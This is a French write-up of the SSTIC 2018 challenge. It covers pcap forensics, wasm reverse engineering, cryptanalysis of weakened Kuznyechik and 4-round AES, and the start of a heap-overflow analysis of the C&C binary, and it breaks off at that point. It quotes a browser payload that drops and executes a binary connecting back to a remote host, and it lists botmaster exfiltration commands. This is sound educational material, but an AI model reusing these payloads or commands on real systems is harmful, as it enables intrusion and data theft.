Introduction
Cela devient une tradition bien ancrée, la conférence SSTIC propose tous les ans depuis 2009 un challenge portant son nom.
Chaque année, c’est une formidable occasion de découvrir qu’on est complétement nul dans beaucoup de domaines. Et chaque année, c’est un motivateur puissant qui nous force à assimiler de nouvelles connaissances afin de devenir un peu moins nul.
[Phrase d’accroche d’occasion. Réutilisée. Bon état général.]
Le but du challenge consiste à retrouver une adresse email. L'édition 2018 bénéficie d’un scénario soigné qui renferme 4 niveaux principaux. Le point de départ est une trace pcap réalisée suite à une intrusion réseau. La résolution du challenge consiste à comprendre l’attaque, déchiffrer un échange réseau pour accéder à un binaire malveillant qui a servi pendant l’attaque. Il faut ensuite déchiffrer les communications de ce binaire en s’appuyant sur une optimisation d’algorithme cryptographique inefficace. Enfin, une prise de contrôle partielle du serveur de Command & Control est faite, ce qui permet de trouver dans un fichier l’adresse mail convoitée.
Ce document présente les méthodes utilisées pour résoudre les différentes épreuves. L’intégralité des codes sources ne sera pas fournie dans ce document, seules les parties essentielles à la compréhension pour la résolution seront explicitées.
1 - Anomaly Detection - "I don’t care who you are! I’ll win!" (Soulcalibur)
L’archive téléchargée est un pcap gzippé de taille conséquente (38Mo). Il est conseillé de démarrer par des analyses statistiques pour en avoir une vue d’ensemble. L'étude du trafic est faite par élimination: ce qui n’est pas IP (néant), puis ni TCP et ni UDP (néant), puis UDP qui n’est pas du DNS (néant également). Une analyse rapide du trafic DNS montre qu’aucun tunnel DNS n’est présent, il ne reste plus que le trafic TCP à analyser. L’outil d’analyse et de statistique intégré à wireshark permet de détecter rapidement des points d’entrée pour l’analyse:
Le trafic sur le port 31337 semble chiffré et n’est pas utilisable en l'état. Le trafic sur le port 1443 est du trafic SSL, le certificat est le suivant:
Nous admirons l’humour des concepteurs ici, APT28 étant un groupe reconnu d’attaquants, legit-news.ru étant surement une référence aux fake news.
La donnée importante passe par le port 8080 et est expliquée plus en détail dans le paragraphe suivant. Le reste du trafic capturé ressemble à une session de surf sur le web normal: consultation de sites de nouvelles.
1.1 - Une attaque par waterholing dirigée sur 192.168.231.123
Une commande tshark donne l’enchainement des fichiers téléchargés par la victime sur la machine 10.241.20.18:8080:
mitsurugi@dojo:~/chall/sstic$ tshark -2 -r challenge_SSTIC_2018.pcapng -R 'tcp.port == 8080 and http.request.method == "GET"' 1 35.296288111 192.168.231.123 → 10.241.20.18 HTTP 392 GET /stage1.js HTTP/1.1 2 35.819237998 192.168.231.123 → 10.241.20.18 HTTP 391 GET /utils.js HTTP/1.1 3 1731.164424164 192.168.231.123 → 10.241.20.18 HTTP 442 GET /blockcipher.js?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 HTTP/1.1 4 1731.225567268 192.168.231.123 → 10.141.20.18 HTTP 482 GET /blockcipher.wasm?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 HTTP/1.1 5 1731.228264594 192.168.231.123 → 10.241.20.18 HTTP 438 GET /payload.js?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 HTTP/1.1 6 1731.302864852 192.168.231.123 → 10.241.20.18 HTTP 437 GET /stage2.js?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 HTTP/1.1 mitsurugi@dojo:~/chall/sstic$
Le nom de ces fichiers (et leurs contenus) est sans équivoque, nous sommes en présence d’une attaque ciblant le navigateur de la victime. L’origine du téléchargement se fait lors de la consultation de la page d’accueil de www.theregister.co.uk
[Paquet 9185 et suivant de la communication HTTP]
. Le fichier HTML réalise un appel vers 10.241.20.18:8080 pour télécharger le fichier stage1.js, et le reste s’enchaine.
Ce mode opératoire correspond au waterholing: un site légitime est infecté par un javascript malveillant, et l’attaquant attend patiemment que sa victime consulte le site web.
Le détail des fichiers est le suivant:
- stage1.js
-
Contient le corps de l’attaque. Ce fichier charge les autres fichiers javascript. Le but de ce fichier est de télécharger et exécuter un binaire appelé f4ncyn0un0urs
[Fancy Bear est un des noms lié au groupe APT28]
. - utils.js
-
Ce fichier est une bibliothèque de fonctions facilitant la vie du développeur d’exploit, son analyse n’apprend rien de particulier.
- blockcipher.js
-
Ce fichier sert d’enveloppe pour démarrer le blockcipher.wasm
- blockipher.wasm
-
Un fichier javascript en web assembly contenant entre autre plusieurs fonctions de chiffrement qui seront vues en détail dans les prochains paragraphes, ainsi que getFlag(), étudié ici
- payload.js
-
Ce fichier ne contient qu’une variable contenant du base64
- stage2.js
-
Les fonctions les plus intéressantes pour la compréhension du niveau 2 sont dans ce fichier
Le fichier stage1.js appelle les autres fichiers js et termine sur cet appel:
drop_exec = function(data) { rop_mem = new ArrayBuffer(0x10000); function write_str(str, offset) { var ba = new Uint8Array(rop_mem); for(var i=0;i<str.length;i++) ba[i+offset] = str.charCodeAt(i); ba[i+offset] = 0; return i+1; } write_str("/tmp/.f4ncyn0un0urs", 0); rop_mem_backstore = leak_arraybuffer_backstore(rop_mem); call_func(open, rop_mem_backstore+0x30, rop_mem_backstore, 0x241, 0x1ff); console.log("[+] output file opened") var dv = new DataView(data); dv.getUint8(0); console.log(leak_arraybuffer_backstore(data).toString(16)); call_func(write, rop_mem_backstore+0x38, memory.read(rop_mem_backstore+0x30), leak_arraybuffer_backstore(data), data.byteLength); call_func(close, rop_mem_backstore+0x38, memory.read(rop_mem_backstore+0x30), 0, 0, 0); console.log("[+] wrote data") args = ["/tmp/.f4ncyn0un0urs", "-h", "192.168.23.213", "-p", "31337"]; args_addr = rop_mem_backstore + 0x40; data_offset = 0x100; env_addr = rop_mem_backstore+0x90; for(var i=0;i<args.length;i++) { memory.write(args_addr + 8*i, rop_mem_backstore + data_offset); data_offset += write_str(args[i], data_offset); } console.log("[+] executing"); call_func(execve, rop_mem_backstore+0x80, rop_mem_backstore, args_addr, env_addr); } decryptAndExecPayload(drop_exec);
Nous comprenons donc que le but de l’attaque effectué dans stage1 va déchiffrer et exécuter le payload qui sera /tmp/.f4ncyn0un0urs.
A l’occasion de ce challenge, j’ai pu m’intéresser au wasm que je ne connaissais pas du tout. Le fonctionnement de wasm est relativement basique, nous sommes face à une machine à pile en logique polonaise inversée. Pour additionner 2 et 2, il suffit de faire:
i32.store 2 //ajout d'un int=2 sur la pile i32.store 2 //ajout d'un autre int=2 sut la pile i32.add //le résultat est stocké sur la pile
La machine wasm a un nombre de registres non définis, et peut lire/écrire dans la mémoire. Toutes les fonctions classiques (opérations, comparaisons, sauts) sont réalisables. Pour débugger du wasm, il a été utilisé une version de Firefox 60.0b13 qui contient un debugger integré. Quelques petits bugs peu génants ont été toutefois détectés, mais ne gênent pas pour résoudre le challenge (obligation de recharger la page pour accéder au debugger, erreur d’arrondis lors de l’affichage de certaines valeurs dans les registres, mode step-by-step impossible).
1.2 - Détail de la fonction GetFLag
La lecture du fichier stage2.js permet de découvrir une fonction au nom évocateur: getFlag() qui est commentée. Le code de cette fonction est défini dans le fichier blockcipher.wasm. Un fichier HTML a été réécrit, permettant de charger les fichiers js et wasm du challenge. Afin de contourner un problème de chargement asynchrone des fichiers javascript (appel d’une fonction dans un fichier qui n’est pas encore chargé), j’ai opté pour une boucle d’attente. Le code est le suivant:
function donneflag(secret) { if (typeof Module === 'undefined' || typeof Module.asm === 'undefined' || typeof Module.asm._malloc === 'undefined') { setTimeout(() => donneflag(secret), 1000); return; } getFlag(secret); } console.log("Flag"); donneflag(1);
Un breakpoint est posé lors de l’appel à la fonction getFlag, une analyse statique permet d’obtenir rapidement la bonne valeur:
Le code de la fonction 18 ne contient qu’une seule comparaison:
Le paramètre $var0 correspond au paramètre de la fonction getFlag. Il apparait que le nombre 89594904 écrit en hexadécimal vaut 0x5571c18, qui se lit SSTIC18 en l33tsp34k.
L’appel de getFlag() avec cette valeur donne le flag1:
Premier flag
|
1.3 - Conclusion: Trois machines du réseau interne sont infectées: 192.168.231.123, 10.241.20.18 et 192.168.23.213
Le scénario initial mentionne une machine du réseau interne qui est suspecte. L’analyse du pcap montre 3 machines infectées:
- 192.168.231.123
-
Machine victime, annoncée comme éteinte et déconnectée du réseau dans le mail. Elle doit être considérée comme compromise, et ne doit pas être reconnectée au réseau. Les systèmes linux ont généralement un script qui nettoie /tmp au boot, si elle a été redémarrée, l’extraction de /tmp/.f4ncyn0un0urs est peut-être impossible.
- 192.168.23.213
-
La machine victime s’est connectée sur cette IP. Faute de traces de cette machine, elle doit être également mise sous quarantaine, et considérée comme malveillante.
- 10.241.20.18
-
Cette machine héberge un serveur web sur le port 8080 et 1443 (ssl). Il faut également la placer en quarantaine, et doit être considérée comme malveillante.
Le flag1 est trouvé, l’analyse peut continuer.
2 - Disruptive Javascript - "You won’t make up through this fight" (Soulcalibur)
La résolution du niveau 2 débute par l’analyse du javascript contenu dans le fichier stage2.js. Le fichier stage1.js contient l’attaque et le lancement du binaire malveillant, le fichier stage2.js permet de comprendre comment le déchiffrement est effectué.
2.1 - Stage2.js contient l’intelligence de l’attaque
Stage2.js définit les fonctions suivantes:
- deriveKey(salt, password)
-
le password fournit en argument provient de la sortie d’un PBKDF2. Ce password est donné à deriveKey pour produire un contexte de 160 octets. Les 32 premiers octets correspondent à la clé, les suivants sont dérivés de cette clé.
- getFlag(secret)
-
Etudiée au chapitre précédent
- decryptData(data, password)
-
Le nom de cette fonction est évocateur. Le déchiffrement du payload prend place ici. L’analyse du chiffrement est fait dans le chapitre suivant.
- d(x)
-
une fonction très courte, d’une ligne:
return ( (200 * x * x) + (255 * x) + 92) % 0x100;
Cette fonction est bijective. Tout élément de son ensemble d’arrivée a un et un seul antécédent, c’est-à-dire est image d’exactement un élément du domaine de départ. Nous pouvons écrire une fonction inv_d(x) qui répond à cette équation d(inv_d(x))=x pour tout x appartenant à [0:255]. Cette propriété sera utilisé lors de la résolution de l'épreuve. - deobfuscate(data)
-
chaque octet x de data est remplacé par d(x) (fonction indiquée précedemment).
- decryptAndExecPayload(drop_exec)
-
cette fonction est appelée par stage1. Son nom est également évocateur, le seul point notable concerne cette ligne: decryptData(deobfuscate(base64DecToArr(payload)), passwordReader.result) où l’on voit que le data passe par la fonction deobfuscate() avant d'être déchiffré. passwordReader.result va lire le mot de passe sur un serveur en SSL sur le port 1433 ce qui est cohérent avec le contenu du pcap.
La vue d’avion est la suivante:
-
Téléchargement du password sur 10.241.20.18:1443. Le téléchargement étant fait en SSL, nous n’avons pas accès au mot de passe, un PBKDF2 est fait pour obtenir 32 octets de mots de passe
-
deriveKey de ce mot de passe, nous obtenons 160 octets à partir des 32 du mot de passe
-
decryptData : le data provient du fichier payload.js, passé par la fonction d(x). Le mot de passe n'étant pas connu, il faut donc casser le chiffrement.
-
Le déchiffrement se fait par bloc, en mode CBC
-
en fin de déchiffrement, une comparaison des 16 premiers octets de clair est fait avec la chaine -Fancy Nounours-, et en cas de réussite, tous les octets suivants sont écrits sur disque.
2.2 - Rétroingénierie du web assembly appelé par stage2.js
Afin d’obtenir le payload en clair, il est décidé d’inverser l’algorithme de chiffrement. Nous avons le chiffré, les 16 premiers octets de clair -Fancy Nounours-, il faut trouver la clé. La validité de cette clé sera testée sur le deuxième bloc de 16 octets, car nous savons qu’il s’agit d’un binaire ELF dont l’entête est connu.
Pour analyser ce chiffrement, j’ai choisi de réécrire en python la fonction _decryptBlock du web assembly. Cela ne pose pas de problèmes particuliers, la première version donne un fichier conséquent, puis une phase de simplification débute. Il est observé que la fonction d(x) est appelée, et une version linéaire de inverse_d(x) est présente dans le webassembly. Le fichier final, decrypt.py fait quelques lignes et permet d’observer plus en détail le comportement de l’algorithme de chiffrement:
-
Découpage du contexte de 160 bytes en 16x10 clés
-
data = clair ^ key[9]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[8]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[7]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[6]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[5]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[4]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[3]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[2]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[1]
-
les 16 octets sont déplacé d’un octet vers la gauche
-
data = data ^ key[0]
-
data = inverse_d(data)
-
chiffré = data
Le script que j’ai employé permet visuellement d’observer le phénomène (à noter que mon script redécoupe les blocs de 16 octets en deux blocs de 8):
mitsurugi@dojo:~/chall/sstic/lvl2/one$ ./Simpler.py PAD[0] = BLOCK[0] ^ CTX[18] // PAD[1] = BLOCK[1] ^ CTX[19] 16 rounds of rol pad0 pad1=711dacac9ccb6969 990033d606003e49 pad0 pad1=1dacac9ccb696999 0033d606003e4988 pad0 pad1=acac9ccb69699900 33d606003e498858 pad0 pad1=ac9ccb6969990033 d606003e498858fb pad0 pad1=9ccb6969990033d6 06003e498858fb7c pad0 pad1=cb6969990033d606 003e498858fb7cb1 pad0 pad1=6969990033d60600 3e498858fb7cb103 pad0 pad1=69990033d606003e 498858fb7cb10347 pad0 pad1=990033d606003e49 8858fb7cb1034728 pad0 pad1=0033d606003e4988 58fb7cb1034728bc pad0 pad1=33d606003e498858 fb7cb1034728bc87 pad0 pad1=d606003e498858fb 7cb1034728bc87c7 pad0 pad1=06003e498858fb7c b1034728bc87c710 pad0 pad1=003e498858fb7cb1 034728bc87c71087 pad0 pad1=3e498858fb7cb103 4728bc87c7108736 pad0 pad1=498858fb7cb10347 28bc87c710873662 pad0 pad1=8858fb7cb1034728 bc87c7108736624c PAD[0] = PAD[0] ^ CTX[16] PAD[1] = PAD[1] ^ CTX[17] 16 rounds of rol pad0 pad1=8cfedd31cf8015fd 765219e6033509f9 pad0 pad1=fedd31cf8015fd76 5219e6033509f93a pad0 pad1=dd31cf8015fd7652 19e6033509f93aba pad0 pad1=31cf8015fd765219 e6033509f93abaef pad0 pad1=cf8015fd765219e6 033509f93abaefa9 pad0 pad1=8015fd765219e603 3509f93abaefa9af pad0 pad1=15fd765219e60335 09f93abaefa9af0e pad0 pad1=fd765219e6033509 f93abaefa9af0e18 pad0 pad1=765219e6033509f9 3abaefa9af0e185c pad0 pad1=5219e6033509f93a baefa9af0e185c6c pad0 pad1=19e6033509f93aba efa9af0e185c6c22 (...)
Les opérations de décalage vers la gauche s’inversent: l’octet qui apparait est le résultat de tous les octest XOR entre eux, après être passé dans une fonction d’obfuscation. Cette fonction n’a pas été étudiée, elle a seulement été traduite du wasm vers le python.
Il faut désormais casser ce chiffrement pour retrouver la clé. La clé fait 32 octets, étendus à 160, et chacune des 10 parties de cette clé est utilisée pour chiffrer les données. Une première approche semblerait dire qu’il est impossible d’obtenir un contexte complet à partir d’un clair connu de 16 octets car la fonction de chiffrement peut s'écrire (modulo la partie rotate on left):
chiffré = clair ^ key[0] ^ key[1] ^ key[2] ... ^ key[9]
Il est sans doute possible d'écrire des relations entre key[2] → key[9] et key[0],key[1] en étudiant de près la fonction de dérivation, ce qui permettrait hypothétiquement de simplifier le problème à:
chiffré = clair ^ key[0] ^ key[1]
Mais encore une fois, cela ne permet pas de retrouver key[0] et key[1].
J’ai finalement opté pour une approche logique plus que mathématique pour avancer. Ce challenge est une épreuve du SSTIC, destinée à être résolue. L’algorithme a vraisemblablement une faiblesse qu’il faut exploiter. La seule solution logique (quoique contre intuitive) permettant de résoudre cette épreuve serait d’avoir 9 des clés à 0. Dans ce cas, il est possible de remonter du chiffré vers le clair et de trouver la clé. Des tests menés sur des vecteurs (clair, clé, chiffrés) connus montrent que cela fonctionne. L'étude de deriveKey() est donc inutile, et une attaque est développée.
mitsurugi@dojo:~/chall/sstic/lvl2/$ ./level2.py Go back and get CTX expected = 2d46616e6379204e6f756e6f7572732d iv = 02887f88f2846dd09c92d695f8b1144a Get fancynounours ^ iv exp ^ iv = 2fce1ee691fd4d9ef3e7b8fa8dc36767 Get this through d(x) After d() function block = f5ae5e96936717de71bda482d7a13d3d CTX: bb9660f20e3f8eed78c9825777625e34 Now go forth, and decrypt that bear iv =02887f88f2846dd09c92d695f8b1144a C =dcb9bf85486f133f6cbd03f1b825124c ctx=bb9660f20e3f8eed78c9825777625e34 0x2d46616e6379204e6f756e6f7572732dL We have this: -Fancy Nounours- And for second block (starting of an ELF?) iv=dcb9bf85486f133f6cbd03f1b825124c C =f7897aaeeed02ec750fb4988c1cbdee2 ctx=bb9660f20e3f8eed78c9825777625e34 0x7f454c46020101030000000000000000L We have this: ELF [+] This is such a success!! Writing 972288 bytes to file Wrote 16384 bytes and counting... Wrote 32768 bytes and counting... (... snip ...)
Le binaire extrait est au format ELF, et donne le flag du niveau2:
mitsurugi@dojo:~/chall/sstic/lvl2$ file stage3.elf stage3.elf: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=dec6817fc8396c9499666aeeb0c438ec1d9f5da1, not stripped mitsurugi@dojo:~/chall/sstic/lvl2$ strings stage3.elf | grep SSTIC SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20} mitsurugi@dojo:~/chall/sstic/lvl2$
Deuxième flag
|
2.3 - Conclusion: Déchiffrement et extraction d’un binaire malveillant
Les cryptologues auront reconnu l’utilisation de l’algorithme de chiffrement russe Kuznyechik qui a pris le parti d’avoir un nom difficile à prononcer. Cet algorithme a été subtilement affaibli par les concepteurs du challenge, une clé a été trouvée et un binaire malveillant a été extrait.
3 - Battle-tested Encryption - There are several ways to reach the top of the mountain, but the view is always the same. (Street Fighter AF)
Le binaire malveillant est entre les mains de l’analyste. Nous savons que ce binaire s’est connecté à une machine distante sur le port 31337. Le trafic sur ce port semble chiffré, l’analyse de ce binaire doit donc permettre de casser une nouvelle fois un chiffrement et de retrouver le trafic en clair pour découvrir les actions malveillantes des attaquants.
3.1 - Un binaire à la fois client et serveur
Obtenir le binaire permet à l’analyste de le disséquer. Les principales observations utiles pour la suite sont les suivantes:
-
Le binaire peut agir comme un serveur. Il doit être démarré avec le flag -c suivi du flag du niveau 3.
-
Le binaire est à la fois client et serveur. Il est possible de chainer plusieurs clients entre eux qui finissent connecté au C&C. Dans la suite de ce document nous allons appeler C&C le serveur principal, "node" un client connecté directement au C&C et "subnode" un noeaud connecté au travers d’un node.
-
Le port d'écoute du binaire peut être spécifié avec le paramètre -l suivi d’un nombre
-
Les paramètres -h et -p donnent au client l’IP et le port d'écoute du serveur auquel il doit se connecter.
-
d’autres paramètres sont disponibles, mais inutiles pour la résolution du challenge
Le binaire est compilé statiquement et n’est pas strippé, permettant à l’analyste d’avoir une vue d’ensemble assez simplement. Si nous émettons l’hypothèse que ces noms de fonctions sont légitimes, alors nous voyons une partie cryptographique, de l’AES, du RSA, des ajout de routes et de noeuds, un reseau mesh, etc..
Il est simple de recréer un réseau de machine infectées, en imaginant un C&C, un node1 avec deux subnodes et un node1 sans subnode, nous obtenons un réseau identique à celui-ci:
Le C&C implémente une interface de commande rudimentaire, mais efficace, permettant d’afficher la liste des victimes, et d’exécuter des commandes, uploader, downloader, ou pinger les nodes ou les subnodes. Voici un exemple de session depuis le C&C: La liste des routes est affiché, un ping est lancé et l’aide intégrée est demandée.
mitsurugi@dojo:~/chall/sstic/lvl3$ ./stage3_.elf -c SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20} routes -------------------------------------------------------------------------------- routing table: 0x256a0b69298a371d: 2 0x963e903cd86e02d2 0x1aeec2ae913f2985 0x9509813556741aaa: 0 -------------------------------------------------------------------------------- ping peer: 0x963e903cd86e02d2 content: test ping ping response from 0x963e903cd86e02d2: test ping help -------------------------------------------------------------------------------- routes|get|put|cmd|ping --------------------------------------------------------------------------------
Afin de mieux comprendre les échanges, un client python est écrit. Pour aider à l'écriture, un script de monitoring gdb python est utilisé. Ce script gdb permet de break à des emplacements choisis, d’inspecter et de modifier les registres et de reprendre l’exécution. Le principe simplifié est le suivant:
import gdb gdb.execute('b * aes_genkey', to_string=True) gdb.execute('b * 0x400efa', to_string=True) #Right before generation of route_id gdb.execute('b * rsa2048_decrypt', to_string=True) gdb.execute('b * rsa2048_encrypt', to_string=True) gdb.execute('b * agent_init', to_string=True) (snip...) ## Here we have all of our monitoring def _cont(): gdb.execute('c') def getreg(register): R=gdb.parse_and_eval("$"+register) return hex(R) def _aes_genkey(): gdb.write("[+] AES genkey has been called\n") (...snip...) GOGOGO=True while GOGOGO: BP = gdb.execute('info reg rip', to_string=True) if BP.find('<agent_init>')>=0: gdb.write('[+] Breaking at agent_init\n') data_block=getreg("rdi") gdb.write(" We got data_block at %s\n" % data_block) _cont() if BP.find('0x400efa')>=0: gdb.write('[+] Patching route id\n') _patch_route_id() _cont() if BP.find('<aes_genkey>')>=0: gdb.write('[+] Patching AS KEY\n') _aes_genkey() _cont() (...)
Ce script perfectible permet un monitoring complet du fonctionnement du programme. En cas de questionnement sur le debug ou sur les données, il suffit d’ajouter un breakpoint, et une fonction de traitement.
Le format des échanges est le suivant: - Tout d’abord un int contenant la taille des données chiffrées est envoyée. - L’iv en clair suit - Puis le bloc de données chiffré
Les blocs de données ont ce format:
entête AAAAd1d3c0de |
babar007 |
subnodeid (ou 0) |
nodeid |
command/size |
data |
data |
… |
Tableau des commandes:
- 0x0000100
-
ping
- 0x0000204
-
get fichier
- 0x0000202
-
put fichier
- 0x0000201
-
cmd
3.2 - Une clé AES est échangée après un chiffrement RSA
Le challenge nous fournit une capture réseau contenant du trafic sur le port 31337. Le port 31337 est le port de connexion spécifié dans le fichier stage1.js, qui est également le port d'écoute par défaut du binaire. Pour étudier le fonctionnement de ce binaire, un client python a été écrit, Nounours.py
. Le fonctionnement du client fonctionne est le suivant:
-
génération d’un module RSA 2048 (l’exposant vaut 65337)
-
génération d’une clé AES aléatoire
-
envoi du module au serveur
-
réception du module serveur
-
Chiffrement de sa clé AES et envoi au serveur
-
Réception de la clé AES du serveur chiffrée par RSA
Le document d’explication fourni avec le challenge indiquait: Nous suspectons cette attaque d'être l'œuvre de l’Inadequation Group, ainsi nommé du fait de ses optimisations d’algorithmes cryptographiques totalement inadéquates. Deux procédés cryptographiques sont mis en oeuvre, RSA et AES. L’attaque sur AES fût fructueuse.
3.3 - Un AES a quatre rounds n’est pas solide
Le script de monitoring gdb a permis d’observer que le chiffrement AES n'était fait que sur 4 rounds, optimisation fort inadéquate. La littérature cryptographique mentionne que des attaques existent jusqu'à 6 rounds, sous conditions. Pour une attaque sur 4 rounds, il faut disposer de 256 clairs qui ne diffèrent que d’un octet et leurs chiffrés équivalents.
Par un hasard fortuit
[Ou la volonté délibérée des concepteurs du challenge]
, il se trouve que nous sommes précisément dans ce cas de figure:
-
Les échanges entre le client et le serveur commencent par un iv qui n’est autre qu’un simple compteur démarrant de 0
-
Les échanges entre le client et le serveur utilisent un format de message débutant par un entête fixe
-
Le chiffrement est effectué en CBC
En additionnat ces trois points, il apparait que nous disposons de 256 messages clairs (entête XOR iv) ne différant que d’un octet et les chiffrés correspondant.
Plutôt que de réinventer la roue, une recherche google mène vers un PoC très bien écrit de la team P4: https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/peoples_square
L’attaque est très bien documentée, et un code est même fourni qui s’applique directement. Pour passer ce niveau, il suffit donc d’extraire les 256 vecteurs côté client et de casser la clé AES, puis de répéter l’opération côté client.
3.4 - Conclusion: Déchiffrement des communications
Le déchiffrement des données est rendu possible grâce aux clés AES. Une étude est également faite sur le format d'échange des données entre le client et le serveur. Chaque paquet envoyé dispose d’un entête fixe "AAAA\xd1\xd3\xc0\xde babar007", le nodeid, le subnodeid éventuel, la taille, un numéro de code commande et les données. A partir d’une analyse dynamique et en affichant les données claires, l’analyste peut reconstruire les formats de message et écrire un parser. Les données particulièrement intéressantes sont les suivantes:
mitsurugi@dojo:~/chall/sstic/lvl3$ ./dechiffre_ser.py size: 624 CMD: unknown �Úi JS�ƙ�y#���Iv�lj����u�r�bq���{3+�1��j��n���%���VJ����J�3��v�����t����b����k ��^�!�M]����m�����Z�< u���v�g�n�%�����/?uX [ת/���\��)��#��P ��O�v����t�����b� k���^�� ######################################################################################################## size: 80 CMD: cmd ls -la /home ######################################################################################################## size: 80 CMD: cmd ls -la /home/user ######################################################################################################## size: 96 CMD: cmd ls -la /home/user/confidentiel ######################################################################################################## size: 112 CMD: cmd tar cvfz /tmp/confidentiel.tgz /home/user/confidentiel ######################################################################################################## size: 80 CMD: get /tmp/confidentiel.tgz ######################################################################################################## size: 80 CMD: put /tmp/surprise.tgz ######################################################################################################## size: 16336 CMD: data ######################################################################################################## (... snip ...)
Le premier paquet est un peu particulier, nous y reviendrons au chapitre suivant. Le botmaster a donc parcouru les dossiers de la victime, puis récupéré le dossier confidentiel/. Un tar a été déposé sur la victime. Le dossier confidentiel.tgz contient le flag du niveau 3:
mitsurugi@dojo:~/chall/sstic/lvl3$ tar zxvf confidentiel.tgz home/user/confidentiel/super_secret -O home/user/confidentiel/super_secret SSTIC2018{07aa9feed84a9be785c6edb95688c45a} mitsurugi@dojo:~/chall/sstic/lvl3$
Le dossier surprise.tgz contient des images de lobster dog, animal bien connu des candidats à la résolution du challenge SSTIC.
Troisième flag
|
4 - Nation-state Level Botnet - "A worthy adversary… let’s go!" (Soulcalibur)
L’analyse a désormais une vue globale sur l’incident. Nous connaissons plusieurs machines infectées du réseau, nous savons ce que les attaquants sont venus chercher sur la machine victime. Il faut désormais trouver le véritable C&C pour y découvrir une adresse mail ce qui permettra de les contacter et leur dire de ne plus recommencer car il faut leur faire comprendre que ce n'était vraiment pas gentil de les attaquer.
4.1 - Une injection de données dans un client dévoile le véritable C&C
La trace réseau montre une connection entre un client et un serveur. Ce serveur dispose d’une IP privée. Un attaquant externe n’a donc pas la possibilité de se connecter sur celle-ci. Nous comprenons rapidement que la victime est de type subnode, le serveur un node et que le véritable C&C est ailleurs. subnode victime → node serveur → C&C.
Le premier paquet échangé n’avait pas été étudié au chapitre précédent. Un maquettage rapide montre qu’un subnode est capable de se connecter au C&C lorsque l’on coupe le node intermédiaire: dit autrement, le node envoie au subnode les informations de connection au C&C, précisément dans ce premier paquet. Plutôt que de reverser la fonction responsable du traitement de ce paquet, une approche dynamique a été choisie:
-
lancement d’un C&C
-
lancement d’un node
-
lancement d’un subnode monitoré via gdb. Lors de la réception du paquet contenant les informations de connexion au C&C, patch en mémoire des données par celles provenant du pcap du challenge
-
arrêt du node
-
le subnode cherche à se connecter au C&C, dévoilant ainsi son IP:port
L’opération étant effectuée dans un environnement sans accès à internet, il a suffi de créer une fausse route par défaut et de consulter les paquets TCP SYN envoyés.
Un paquet SYN à destination de 195.154.105.12:36735
est constaté, la méthode est considérée comme valide et le C&C est désormais connu.
Arrivé à ce point, la plus mauvaise idée du monde est venue dans mon esprit. Ayant un script de monitoring client, j’ai décidé de sortir le client de sa zone sécurisée, et de le brancher sur le C&C, en me demandant ce que pouvait faire le botmaster. Très mauvaise idée puisque le binaire malveillant est aux ordres du botmaster, cela revient à donner un shell à l’attaquant malveillant. Et effectivement, une dizaine de minutes après la connection, les commandes suivantes ont été lancées:
cat /etc/passwd
uname
ls /home/mitsurugi
PWNED! noob
La réponse est effectivement éloquente. Le client standard a été immédiatement coupé, puis le client python neutre disposant de réponses programmées a été démarré. Un peu [ennuyé|agacé] par cette mauvaise idée, j’ai ajouté un goatse en ascii-art pour les commandes ls, une trollface.jpg pour les get de fichiers et quelques autres tricks avec des ANSI escape codes pour les autres commandes (écriture noir sur noir, etc..). Il a été constaté que le botmaster est relativement peu actif, et lance de temps en temps des commandes comme id
mais ni n’upload, ni ne download de fichier, ni ne fait des pings.
4.2 - Le binaire est vulnérable à un heap overflow
Le serveur a une surface d’attaque relativement faible. Par quelques essais/erreurs, un crash se produit lors de l’ajout d’un 13e subnode à un node. J’utilise pour cela mon client python qui dispose d’une invite de commande permettant d’ajouter des subnode, de ping le server et de faire d’autres actions utiles pour l’exploitation finale:
mitsurugi@dojo:~/chall/sstic/lvl4$ ./Nounours.py [+] AES server key: b0a8705ee6bdd4c40765b850e8826028 [+] Sending my nodeid: 4142434431323334 0000000000000000 0000000000000000 41414141dec0d3d1 6261626172303037 3433323144434241 0000000000000000 0000010028000000 0000000000000000 size of data: 40000000 [+] Starting multithreading after the recv: 40000000 [+] Reading 64 bytes from server [+] GOT A PACKET FROM SERVER, KID! Req #0 datasize=40 and datatype=0x1010000 41414141dec0d3d1 6261626172303037 0000000000000000 3433323144434241 0000010128000000 0000000000000000 Command [quit|ping[get|sc]|[sub]get[0|ser]|teg|cmd|put_file|put_data|[N]addnode]>>> Naddnode (ajout de 13 subnodes...)
Et côté serveur, nous observons une erreur intéressante:
mitsurugi@dojo:~/chall/sstic/lvl4$ ./server.elf -c SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20} realloc(): invalid next size Appel système erroné mitsurugi@dojo:~/chall/sstic/lvl4$
Appel système erroné vient de seccomp, activé lorsque le binaire est C&C, mais reallo() invalid next size laisse comprendre que nous avons corrompu quelque part le heap. Puisque c’est lors de l’ajout d’un subnode, nous supposons qu’un subnode écrase plus loin que son chunk. En effet, une analyse du code assemblé montre un problème lors du calcul de la taille utilisée par les subnodes dans le chunk de mémoire. La comparaison de taille est faite pour strictement supérieur (et non pas >= ). Le dernier ajout de subnode est égal à la taille max, mais est écrit quand même en mémoire. L’ajout du suivant écrase donc un peu plus loin dans la mémoire, avant le realloc, ce qui corromp les blocs chainés dans le heap. Un erreur est levée, et seccomp termine le travail en tuant le serveur.
Nous savons désormais que le binaire a une faille. Le binaire dispose d’une caractéristique intéressante, il n’est pas PIE:
